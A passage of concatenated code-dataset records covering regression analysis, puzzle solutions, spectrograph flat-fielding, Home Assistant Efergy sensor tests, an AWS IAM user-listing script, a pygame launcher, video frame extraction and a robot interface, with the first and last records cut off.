"mainapp.models.Cart.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "mainapp.models.Cart", "line_number": 19, "usage_type": "name"}]} {"seq_id": "17194114", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 14 22:43:35 2020\n\n@author: Brijesh.R\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly as pt\nfrom scipy import stats\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_absolute_percentage_error\nfrom sklearn.metrics import r2_score, mean_squared_error, adjusted_rand_score\nfrom sklearn import metrics\ntraindata = pd.read_csv('D:/Personal/Dataset/LR/train.csv')\n\ntestdata = pd.read_csv('D:/Personal/Dataset/LR/test.csv')\n\n\ntraindata.describe()\n\n# Missing values \n# To check column name which have missing values\ntraindata.isnull().any()\n# to check no of missing values, column wise\ntraindata.isnull().sum()\n\ntraindata.isnull().sum().sum()\n\nsns.boxplot(traindata['y'])\n\ntraindata.shape\n# fill missing values by mean\ntraindata['y'].fillna(traindata['y'].mean(), inplace=True)\n\n\nsns.relplot(x=\"x\", y=\"y\", data=traindata)\n\nsns.relplot(x=traindata['x'], y=traindata['y'], data=traindata)\n\nsns.regplot(x=traindata['x'], y=traindata['y'], data=traindata)\n\nsns.distplot(traindata['x'], bins=10)\n\nsns.boxplot(traindata['x'], orient='v')\n\nsns.boxplot(traindata['y'], orient='v')\n\nQ1=traindata.quantile(.25)\nQ3=traindata.quantile(.75)\nIQR = traindata.apply(stats.iqr)\nupper = (Q3 + 1.5 * IQR)\nlower = (Q1 - 1.5 * IQR)\n# No of outliers for each column\n\n# To see no of outliers for each variable\n(traindata > (Q3 + 1.5 * IQR)).sum()\n(traindata < (Q1 - 1.5 * IQR)).sum()\n\ndf=((traindata < (Q1 - 1.5 * IQR)) | (traindata > (Q3 + 1.5 * IQR))).sum()\n\nsns.distplot(traindata['y'])\nsns.distplot(traindata['x'])\n\n# See the outliers \ndf_out = traindata[((traindata < lower) |(traindata > upper)).any(axis=1)]\n\n# Exclude outliers\nnewtraindata = traindata[~((traindata < (Q1 - 1.5 * IQR)) |(traindata > (Q3 + 1.5 * IQR))).any(axis=1)]\n\nnewtraindata.shape\n\n\nf, axes = plt.subplots(1, 2)\nsns.distplot(newtraindata['y'], ax=axes[0])\nsns.distplot(newtraindata['x'], ax=axes[1])\n\nregressor = LinearRegression() \n\nXtrain = newtraindata['x'].values.reshape(-1,1)\nytrain = newtraindata['y'].values.reshape(-1,1)\n\nXtest = testdata['x']\nregressor.fit(Xtrain, ytrain)\n\n#To retrieve the intercept:\nprint(regressor.intercept_)\n#For retrieving the slope:\nprint(regressor.coef_)\n\nytest=testdata['y'].values.reshape(-1,1)\nXtest=testdata['x'].values.reshape(-1,1)\n\nypred = regressor.predict(Xtest)\n\n\ndf=pd.DataFrame({'Actual': ytest.flatten(), 'Predicted': ypred.flatten()})\n\ndf\n\nprint('Mean Absolute Error:', metrics.mean_absolute_error(ytest, ypred)) \nprint('Mean Squared Error:', metrics.mean_squared_error(ytest, ypred)) \nprint('Root Mean Squared Error:', np.sqrt(metrics.mean_squared_error(ytest, ypred)))\nprint('Median absolute error:',metrics.median_absolute_error(ytest, ypred))\n\nr2=regressor.score(ytest, ypred)\n\ndef mean_absolute_percentage_error(y_true, y_pred):\n y_true, y_pred = np.array(y_true), np.array(y_pred)\n return np.mean(np.abs((y_true - y_pred) / y_true)) * 100\n\nmean_absolute_percentage_error(ytest, ypred)\n\nfrom yellowbrick.regressor import ResidualsPlot\n\n# residuals vs. predicted values\nvisualizer = ResidualsPlot(regressor)\nvisualizer.score(Xtest, ytest) # Evaluate the model on the test data\nvisualizer.show() \n\n\nsns.residplot(ytest, ypred)\n\nnp.mean(ytest-ypred)\n\n\nsns.distplot(ytest-ypred)\n\n", "sub_path": "With Python/LinearRegression/untitled0.py", "file_name": "untitled0.py", "file_ext": "py", "file_size_in_byte": 3327, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 21, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 34, "usage_type": "call"}, {"api_name": "seaborn.relplot", "line_number": 41, "usage_type": "call"}, {"api_name": "seaborn.relplot", "line_number": 43, "usage_type": "call"}, {"api_name": "seaborn.regplot", "line_number": 45, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 47, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 49, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 51, "usage_type": "call"}, {"api_name": "scipy.stats.iqr", "line_number": 55, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 55, "usage_type": "name"}, {"api_name": "seaborn.distplot", "line_number": 66, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "seaborn.distplot", "line_number": 79, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 80, "usage_type": "call"}, {"api_name": "sklearn.linear_model.LinearRegression", "line_number": 82, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 101, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_error", "line_number": 105, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 105, "usage_type": "name"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 106, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 107, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_squared_error", "line_number": 107, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 107, "usage_type": "name"}, {"api_name": "sklearn.metrics.median_absolute_error", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 108, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 114, "usage_type": "call"}, {"api_name": "sklearn.metrics.mean_absolute_percentage_error", "line_number": 116, "usage_type": "call"}, {"api_name": "yellowbrick.regressor.ResidualsPlot", "line_number": 121, "usage_type": "call"}, {"api_name": "seaborn.residplot", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 128, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 131, "usage_type": "call"}]} {"seq_id": "146795543", "text": "import collections\n\nclass Solution:\n def can_form_palindromes(self, ch_cnt_map):\n has_odd = False\n self.single_ch = ''\n for (ch, cnt) in ch_cnt_map.items():\n if cnt % 2 != 0:\n if not has_odd:\n self.single_ch = ch\n has_odd = True\n else:\n return False\n\n return True\n\n def generatePalindromes(self, s):\n ch_cnt_map = collections.Counter(s)\n if not self.can_form_palindromes(ch_cnt_map):\n return []\n\n res = []\n def dfs(ch_cnt_map, acc_str, rest_n):\n if rest_n == 0:\n res.append(acc_str + self.single_ch + acc_str[::-1])\n return\n\n for (ch, cnt) in ch_cnt_map.items():\n if cnt >= 2:\n ch_cnt_map[ch] -= 2\n dfs(ch_cnt_map, acc_str + ch, rest_n - 1)\n ch_cnt_map[ch] += 2\n\n dfs(ch_cnt_map, '', len(s) // 2)\n\n return res\n", "sub_path": "leetcode/py/267.py", "file_name": "267.py", "file_ext": "py", "file_size_in_byte": 1019, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.Counter", "line_number": 18, "usage_type": "call"}]} {"seq_id": "121206307", "text": "#!/usr/bin/env python3\n\nimport sys\nimport collections\nimport itertools\nimport functools\nimport fractions\nimport numpy\n\nimport aoc\n\ninfilename = 'input.txt'\nif len(sys.argv) > 2 and sys.argv[1] == '-i':\n infilename = sys.argv[2]\n\nprint('Using input file: %s' % infilename)\n\nf = open(infilename, 'r')\ndata = f.readlines()\nf.close()\n\ndata = [line.strip() for line in data]\n\nclass Moon:\n def __init__(self, pos, vel):\n self.start_pos = pos\n self.start_vel = vel\n\n self.pos = pos\n self.vel = vel\n\n self.cycles = [None] * len(pos)\n\n def gravitate(self, other):\n new_v = []\n for ii in range(len(self.vel)):\n if self.pos[ii] < other.pos[ii]:\n new_v.append(self.vel[ii] + 1)\n elif self.pos[ii] > other.pos[ii]:\n new_v.append(self.vel[ii] - 1)\n else:\n new_v.append(self.vel[ii])\n\n self.vel = tuple(new_v)\n\n def orbit(self):\n self.pos = aoc.tup_add(self.pos, self.vel)\n\n def kinetic(self):\n return sum([abs(x) for x in self.vel])\n\n def potential(self):\n return sum([abs(x) for x in self.pos])\n\n def total_energy(self):\n return self.kinetic() * self.potential()\n\n def __str__(self):\n return 'pos=<%s> vel<%s>' % (self.pos, self.vel)\n\nmoons = []\nfor line in data:\n toks = aoc.tokenize(line, '<xyz>,= ')\n pos = tuple(map(int, toks))\n vel = (0,0,0)\n moons.append(Moon(pos, vel))\n#print([str(m) for m in moons])\n\ndef step_time(moons):\n for a, b in itertools.combinations(moons, 2):\n a.gravitate(b)\n b.gravitate(a)\n\n for m in moons:\n m.orbit()\n\nfor ii in range(1000):\n step_time(moons)\n\ntotal = sum([m.total_energy() for m in moons])\nprint('Part 1:', total)\n\nmoons = []\nfor line in data:\n toks = aoc.tokenize(line, '<xyz>,= ')\n pos = tuple(map(int, toks))\n vel = (0,0,0)\n moons.append(Moon(pos, vel))\n\nsteps = 1\nfull_cycles = [0] * 3\n\ndone = False\nwhile not done:\n steps+=1\n step_time(moons)\n\n for ii in range(3):\n if all([m.pos[ii] == m.start_pos[ii] for m in moons]):\n if full_cycles[ii] == 0:\n full_cycles[ii] = steps\n\n done = all(full_cycles)\n\nprint('Part 2:', numpy.lcm.reduce(full_cycles))\n", "sub_path": "2019/12/puzzle.py", "file_name": "puzzle.py", "file_ext": "py", "file_size_in_byte": 2272, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "aoc.tup_add", "line_number": 47, "usage_type": "call"}, {"api_name": "aoc.tokenize", "line_number": 63, "usage_type": "call"}, {"api_name": "itertools.combinations", "line_number": 70, "usage_type": "call"}, {"api_name": "aoc.tokenize", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.lcm.reduce", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.lcm", "line_number": 105, "usage_type": "attribute"}]} {"seq_id": "551850545", "text": "'''\nCreated on 26 Apr. 2018\n\n@author: christoph\n'''\n\nimport numpy as np\nfrom scipy.interpolate import UnivariateSpline\nfrom scipy.signal import medfilt\nfrom scipy import ndimage\n\n\n\n\n\n# xdisp_boxsize = 1\n# disp_boxsize = 15\n# medfiltered_flat = medfilt(MW,[xdisp_boxsize,disp_boxsize])\n# OR\n# dum, filtered_flat = make_model_stripes(...) --> see spatial_profiles.py\n#\n# pix_sens_image = MW / medfiltered_flat #should be roughly flat & scattering around 1\n# \n# smoothed_MW = MW / pix_sens_image #ie for the flat fields that means that smoothed_MW = filtered flat...\n# smoothed_img = img / pix_sens_image\n#\n\n# maybe the not-fitted offsets in the model_stripes from \"make_model_stripes_gausslike\" are causing a Fubar in the division here!?!?!?\n\n\n\n\n\ndef onedim_pixtopix_variations(f_flat, filt='gaussian', filter_width=25):\n \"\"\"\n This routine applies a filter ('gaussian' / 'savgol' / 'median') to an observed flat field in order to determine the pixel-to-pixel sensitivity variations\n as well as the fringing pattern in the red orders. This is done in 1D, ie for the already extracted spectrum.\n \n INPUT:\n 'f_flat' : dictionary containing the extracted flux from the flat field (master white) (keys = orders)\n 'filt' : method of filtering ('gaussian' / 'savgol' / 'median') - WARNING: ONLY GAUSSIAN FILTER HAS BEEN IMPLEMENTED SO FAR!!!\n 'filter_width' : the width of the kernel for the filtering in pixels; defined differently for the different types of filters (see description of scipy.ndimage....)\n \n OUTPUT:\n 'pix_sens' : dictionary of the pixel-to-pixel sensitivities (keys = orders)\n 'smoothed_flat' : dictionary of the smoothed (ie filtered) whites (keys = orders)\n \n MODHIST:\n 24/05/2018 - CMB create\n \"\"\"\n \n pix_sens = {}\n smoothed_flat = {}\n \n while filt.lower() not in ['g','gaussian','s','savgol','m','median']:\n print(\"ERROR: filter choice not recognised!\")\n filt = raw_input(\"Please try again: ['(G)aussian','(S)avgol','(M)edian']\")\n \n #loop over all orders\n for ord in sorted(f_flat.keys()): \n if filt.lower() in ['g','gaussian']:\n #Gaussian filter\n smoothed_flat[ord] = ndimage.gaussian_filter(f_flat[ord], filter_width) \n pix_sens[ord] = f_flat[ord] / smoothed_flat[ord]\n elif filt.lower() in ['s','savgol']:\n print('WARNING: SavGol filter not implemented yet!!!')\n break\n elif filt.lower() in ['m','median']:\n print('WARNING: Median filter not implemented yet!!!')\n break\n else:\n #This should never happen!!!\n print(\"ERROR: filter choice still not recognised!\")\n break\n \n return smoothed_flat, pix_sens\n \n \n \n \n \ndef deblaze_orders(f, wl, smoothed_flat, mask, err=None, degpol=1, gauss_filter_sigma=3., maxfilter_size=100):\n \n f_dblz = {}\n if err is not None:\n err_dblz = {}\n \n #if using cross-correlation to get RVs, we need to de-blaze the spectra first\n for o in f.keys():\n #first, divide by the \"blaze-function\", ie the smoothed flat, which we got from filtering the MASTER WHITE\n f_dblz[o] = f[o] / (smoothed_flat[o]/np.max(smoothed_flat[o]))\n #get rough continuum shape by performing a series of filters\n cont_rough = ndimage.maximum_filter(ndimage.gaussian_filter(f_dblz[o],gauss_filter_sigma), size=maxfilter_size)\n #now fit polynomial to that rough continuum\n p = np.poly1d(np.polyfit(wl[o][mask[o]], cont_rough[mask[o]], degpol))\n #divide by that polynomial\n f_dblz[o] = f_dblz[o] / (p(wl[o]) / np.median(p(wl[o])[mask[o]]))\n #need to treat the error arrays in the same way, as need to keep relative error the same\n if err is not None:\n err_dblz[o] = err[o] / (smoothed_flat[o]/np.max(smoothed_flat[o]))\n err_dblz[o] = err_dblz[o] / (p(wl[o]) / np.median(p(wl[o])[mask[o]]))\n\n if err is not None:\n return f_dblz,err_dblz\n else:\n return f_dblz\n\n\n\n\n", "sub_path": "veloce_reduction/flat_fielding.py", "file_name": "flat_fielding.py", "file_ext": "py", "file_size_in_byte": 4088, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "scipy.ndimage.gaussian_filter", "line_number": 63, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 63, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 91, "usage_type": "call"}, {"api_name": "scipy.ndimage.maximum_filter", "line_number": 93, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 93, "usage_type": "name"}, {"api_name": "scipy.ndimage.gaussian_filter", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.poly1d", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.polyfit", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 101, "usage_type": "call"}]} {"seq_id": "92558660", "text": "\"\"\"The tests for Efergy sensor platform.\"\"\"\n\nimport asyncio\nfrom datetime import timedelta\n\nfrom homeassistant.components.sensor import DOMAIN as SENSOR_DOMAIN\nfrom homeassistant.const import STATE_UNAVAILABLE\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.setup import async_setup_component\nimport homeassistant.util.dt as dt_util\n\nfrom tests.common import async_fire_time_changed, load_fixture\nfrom tests.test_util.aiohttp import AiohttpClientMocker\n\ntoken = \"9p6QGJ7dpZfO3fqPTBk1fyEmjV1cGoLT\"\nmulti_sensor_token = \"9r6QGF7dpZfO3fqPTBl1fyRmjV1cGoLT\"\n\nONE_SENSOR_CONFIG = {\n \"platform\": \"efergy\",\n \"app_token\": token,\n \"utc_offset\": \"300\",\n \"monitored_variables\": [\n {\"type\": \"amount\", \"period\": \"day\"},\n {\"type\": \"instant_readings\"},\n {\"type\": \"budget\"},\n {\"type\": \"cost\", \"period\": \"day\", \"currency\": \"$\"},\n {\"type\": \"current_values\"},\n ],\n}\n\nMULTI_SENSOR_CONFIG = {\n \"platform\": \"efergy\",\n \"app_token\": multi_sensor_token,\n \"utc_offset\": \"300\",\n \"monitored_variables\": [{\"type\": \"current_values\"}],\n}\n\n\ndef mock_responses(aioclient_mock: AiohttpClientMocker, error: bool = False):\n \"\"\"Mock responses for Efergy.\"\"\"\n base_url = \"https://engage.efergy.com/mobile_proxy/\"\n if error:\n aioclient_mock.get(\n f\"{base_url}getCurrentValuesSummary?token={token}\", exc=asyncio.TimeoutError\n )\n return\n aioclient_mock.get(\n f\"{base_url}getInstant?token={token}\",\n text=load_fixture(\"efergy/efergy_instant.json\"),\n )\n aioclient_mock.get(\n f\"{base_url}getEnergy?token={token}&offset=300&period=day\",\n text=load_fixture(\"efergy/efergy_energy.json\"),\n )\n aioclient_mock.get(\n f\"{base_url}getBudget?token={token}\",\n text=load_fixture(\"efergy/efergy_budget.json\"),\n )\n aioclient_mock.get(\n f\"{base_url}getCost?token={token}&offset=300&period=day\",\n text=load_fixture(\"efergy/efergy_cost.json\"),\n )\n aioclient_mock.get(\n f\"{base_url}getCurrentValuesSummary?token={token}\",\n text=load_fixture(\"efergy/efergy_current_values_single.json\"),\n )\n aioclient_mock.get(\n f\"{base_url}getCurrentValuesSummary?token={multi_sensor_token}\",\n text=load_fixture(\"efergy/efergy_current_values_multi.json\"),\n )\n\n\nasync def test_single_sensor_readings(\n hass: HomeAssistant, aioclient_mock: AiohttpClientMocker\n):\n \"\"\"Test for successfully setting up the Efergy platform.\"\"\"\n mock_responses(aioclient_mock)\n assert await async_setup_component(\n hass, SENSOR_DOMAIN, {SENSOR_DOMAIN: ONE_SENSOR_CONFIG}\n )\n await hass.async_block_till_done()\n\n assert hass.states.get(\"sensor.energy_consumed\").state == \"38.21\"\n assert hass.states.get(\"sensor.energy_usage\").state == \"1580\"\n assert hass.states.get(\"sensor.energy_budget\").state == \"ok\"\n assert hass.states.get(\"sensor.energy_cost\").state == \"5.27\"\n assert hass.states.get(\"sensor.efergy_728386\").state == \"1628\"\n\n\nasync def test_multi_sensor_readings(\n hass: HomeAssistant, aioclient_mock: AiohttpClientMocker\n):\n \"\"\"Test for multiple sensors in one household.\"\"\"\n mock_responses(aioclient_mock)\n assert await async_setup_component(\n hass, SENSOR_DOMAIN, {SENSOR_DOMAIN: MULTI_SENSOR_CONFIG}\n )\n await hass.async_block_till_done()\n\n assert hass.states.get(\"sensor.efergy_728386\").state == \"218\"\n assert hass.states.get(\"sensor.efergy_0\").state == \"1808\"\n assert hass.states.get(\"sensor.efergy_728387\").state == \"312\"\n\n\nasync def test_failed_getting_sids(\n hass: HomeAssistant, aioclient_mock: AiohttpClientMocker\n):\n \"\"\"Test failed gettings sids.\"\"\"\n mock_responses(aioclient_mock, error=True)\n assert await async_setup_component(\n hass, SENSOR_DOMAIN, {SENSOR_DOMAIN: ONE_SENSOR_CONFIG}\n )\n assert not hass.states.async_all(\"sensor\")\n\n\nasync def test_failed_update_and_reconnection(\n hass: HomeAssistant, aioclient_mock: AiohttpClientMocker\n):\n \"\"\"Test failed update and reconnection.\"\"\"\n mock_responses(aioclient_mock)\n assert await async_setup_component(\n hass, SENSOR_DOMAIN, {SENSOR_DOMAIN: ONE_SENSOR_CONFIG}\n )\n aioclient_mock.clear_requests()\n mock_responses(aioclient_mock, error=True)\n next_update = dt_util.utcnow() + timedelta(seconds=3)\n async_fire_time_changed(hass, next_update)\n await hass.async_block_till_done()\n assert hass.states.get(\"sensor.efergy_728386\").state == STATE_UNAVAILABLE\n aioclient_mock.clear_requests()\n mock_responses(aioclient_mock)\n next_update = dt_util.utcnow() + timedelta(seconds=30)\n async_fire_time_changed(hass, next_update)\n await hass.async_block_till_done()\n assert hass.states.get(\"sensor.efergy_728386\").state == \"1628\"\n", "sub_path": "tests/components/efergy/test_sensor.py", "file_name": "test_sensor.py", "file_ext": "py", "file_size_in_byte": 4780, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tests.test_util.aiohttp.AiohttpClientMocker", "line_number": 39, "usage_type": "name"}, {"api_name": "asyncio.TimeoutError", "line_number": 44, "usage_type": "attribute"}, {"api_name": "tests.common.load_fixture", "line_number": 49, "usage_type": "call"}, {"api_name": "tests.common.load_fixture", "line_number": 53, "usage_type": "call"}, {"api_name": "tests.common.load_fixture", "line_number": 57, "usage_type": "call"}, {"api_name": "tests.common.load_fixture", "line_number": 61, "usage_type": "call"}, {"api_name": "tests.common.load_fixture", "line_number": 65, "usage_type": "call"}, {"api_name": "tests.common.load_fixture", "line_number": 69, "usage_type": "call"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 74, "usage_type": "name"}, {"api_name": "tests.test_util.aiohttp.AiohttpClientMocker", "line_number": 74, "usage_type": "name"}, {"api_name": "homeassistant.setup.async_setup_component", "line_number": 78, "usage_type": "call"}, {"api_name": "homeassistant.components.sensor.DOMAIN", "line_number": 79, "usage_type": "argument"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 91, "usage_type": "name"}, {"api_name": "tests.test_util.aiohttp.AiohttpClientMocker", "line_number": 91, "usage_type": "name"}, {"api_name": "homeassistant.setup.async_setup_component", "line_number": 95, "usage_type": "call"}, {"api_name": "homeassistant.components.sensor.DOMAIN", "line_number": 96, "usage_type": "argument"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 106, "usage_type": "name"}, {"api_name": "tests.test_util.aiohttp.AiohttpClientMocker", "line_number": 106, "usage_type": "name"}, {"api_name": "homeassistant.setup.async_setup_component", "line_number": 110, "usage_type": "call"}, {"api_name": "homeassistant.components.sensor.DOMAIN", "line_number": 111, "usage_type": "argument"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 117, "usage_type": "name"}, {"api_name": "tests.test_util.aiohttp.AiohttpClientMocker", "line_number": 117, "usage_type": "name"}, {"api_name": "homeassistant.setup.async_setup_component", "line_number": 121, "usage_type": "call"}, {"api_name": "homeassistant.components.sensor.DOMAIN", "line_number": 122, "usage_type": "argument"}, {"api_name": "homeassistant.util.dt.utcnow", "line_number": 126, "usage_type": "call"}, {"api_name": "homeassistant.util.dt", "line_number": 126, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 126, "usage_type": "call"}, {"api_name": "tests.common.async_fire_time_changed", "line_number": 127, "usage_type": "call"}, {"api_name": "homeassistant.const.STATE_UNAVAILABLE", "line_number": 129, "usage_type": "name"}, {"api_name": "homeassistant.util.dt.utcnow", "line_number": 132, "usage_type": "call"}, {"api_name": "homeassistant.util.dt", "line_number": 132, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 132, "usage_type": "call"}, {"api_name": "tests.common.async_fire_time_changed", "line_number": 133, "usage_type": "call"}]} {"seq_id": "185031743", "text": "\"\"\"\nList UserArn, CreateDate, PasswordLastUsed, AccessKeyMetadata\n\"\"\"\nfrom boto3.session import Session\nimport click\nfrom configparser import ConfigParser\nfrom os.path import expanduser, join\n\naws_profiles = []\ntry:\n cp = ConfigParser()\n cp.read(join(expanduser(\"~\"), \".aws\", \"credentials\"))\n aws_profiles = cp.sections()\nexcept Exception as e:\n print(e)\n\n\ndef list_action(session):\n try:\n paginator = session.client(\"iam\").get_paginator(\"list_users\")\n for page in paginator.paginate():\n for user in page[\"Users\"]:\n ret = session.client(\"iam\").list_access_keys(UserName=user[\"UserName\"])\n data = {\n \"Arn\": user[\"Arn\"],\n \"CreateData\": user[\"CreateDate\"],\n \"PasswordLastUsed\": user.get(\"PasswordLastUsed\"),\n \"AccessKeyMetadata\": ret.get(\"AccessKeyMetadata\"),\n }\n print(data)\n \n except Exception as e:\n print(e)\n\n\n################################################################################\n# Entry point\n\n@click.command()\n@click.option(\"--profile\", \"-p\", help=\"AWS profile name\")\n@click.option(\"--rolesfile\", \"-r\", help=\"Files containing Role ARNs\")\ndef main(profile, rolesfile):\n \n if rolesfile:\n from arki_common.aws import assume_role, read_role_arns_from_file\n try:\n for role_arn in read_role_arns_from_file(filename=rolesfile):\n session = assume_role(role_arn=role_arn)\n list_action(session)\n except Exception as e:\n print(e)\n\n else:\n profile_names = [profile] if profile else aws_profiles\n \n for profile_name in profile_names:\n try:\n print(f\"Checking {profile_name}\")\n session = Session(profile_name=profile_name)\n list_action(session)\n except Exception as e:\n print(e)\n\n\nif __name__ == \"__main__\": main()\n", "sub_path": "IAM/list_iam_users.py", "file_name": "list_iam_users.py", "file_ext": "py", "file_size_in_byte": 2000, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "configparser.ConfigParser", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 12, "usage_type": "call"}, {"api_name": "arki_common.aws.read_role_arns_from_file", "line_number": 47, "usage_type": "call"}, {"api_name": "arki_common.aws.assume_role", "line_number": 48, "usage_type": "call"}, {"api_name": "boto3.session.Session", "line_number": 59, "usage_type": "call"}, {"api_name": "click.command", "line_number": 39, "usage_type": "call"}, {"api_name": "click.option", "line_number": 40, "usage_type": "call"}, {"api_name": "click.option", "line_number": 41, "usage_type": "call"}]} {"seq_id": "86023536", "text": "import cv2\nfrom glob import glob\nimport numpy as np\n# import pickle\n# from sklearn.preprocessing import normalize\n# from sklearn.neural_network import MLPClassifier\nimport sys\n# from os import listdir\n\nimport os\n\n# define the name of the directory to be created\na = input(\"What kingdom? \")\npath = \"Pictures/\" + a\n\ntry:\n os.mkdir(path)\nexcept OSError:\n print (\"Creation of the directory %s failed\" % path)\nelse:\n print (\"Successfully created the directory %s \" % path)\n\nimg_mask = '*.mp4'\nimg_names = glob(img_mask)\n\nfor i in img_names:\n\tvidcap = cv2.VideoCapture(i)\n\tsuccess,image = vidcap.read()\n\tcount = 0\n\tsuccess = True\n\twhile success:\n\t\t# vidcap.set(cv2.CAP_PROP_POS_MSEC,(count*100)) \n\t\tcv2.imwrite(f\"{path}/frame%d.jpg\" % count, image) # save frame as JPEG file\n\t\tsuccess,image = vidcap.read()\n\t\tprint ('Read a new frame: ', success)\n\t\tcount += 1\n", "sub_path": "own NN/ReadPowersVideo/read_powers_video.py", "file_name": "read_powers_video.py", "file_ext": "py", "file_size_in_byte": 867, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.mkdir", "line_number": 17, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 33, "usage_type": "call"}]} {"seq_id": "30238729", "text": "import pygame\nfrom LevelParts.Level import *\n\"\"\"\n\nDo the whole program\n\n\"\"\"\n\n\n# файл запуска программы\npygame.init()\nlevel_screen = pygame.display.set_mode((LevelXSize, LevelYSize))\npygame.display.update()\nclock = pygame.time.Clock()\nfinished = False\nflag = False\nTest_Level = Level(map_drawer)\n\nwhile not finished:\n Test_Level.update(level_screen)\n pygame.display.update()\n for event in pygame.event.get():\n Test_Level.game_event(event)\n if event.type == pygame.QUIT:\n finished = True\npygame.quit()\n\n#Test11\n#Test1\n#Еуые228\n", "sub_path": "Game.py", "file_name": "Game.py", "file_ext": "py", "file_size_in_byte": 583, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.init", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 26, "usage_type": "call"}]} {"seq_id": "573681275", "text": "from manual import *\nfrom automatico import *\nfrom mover import *\n# from mover_test import *\nfrom shared import *\nfrom receptor import *\nfrom transmissor import *\nfrom time import sleep\nfrom threading import Thread\nimport json\n\nclass ModoDeJogo(object):\n\tMANUAL = 1\n\tAUTOMATICO = 2\n\n\nclass InterfaceSR(Thread):\n\t\"\"\"World interface for SR\"\"\"\n\n\tdef __init__(self):\n\t\tself.modo = None\n\t\tself.cacas = []\n\t\tself.cacador = None\n\t\t# self.mac = self._get_mac()\n\t\tself.mac = \"aa:bb:cc:dd:ee:ff\"\n\t\tself._ler_cadastro()\n\t\t#self.identidade = self._get_mac()\n\n\t\tsuper(InterfaceSR, self).__init__()\n\n\n\tdef _get_mac(self):\n\t\tmac = \"\"\n\t\twith open('/sys/class/net/wlan0/address', 'right_motor') as 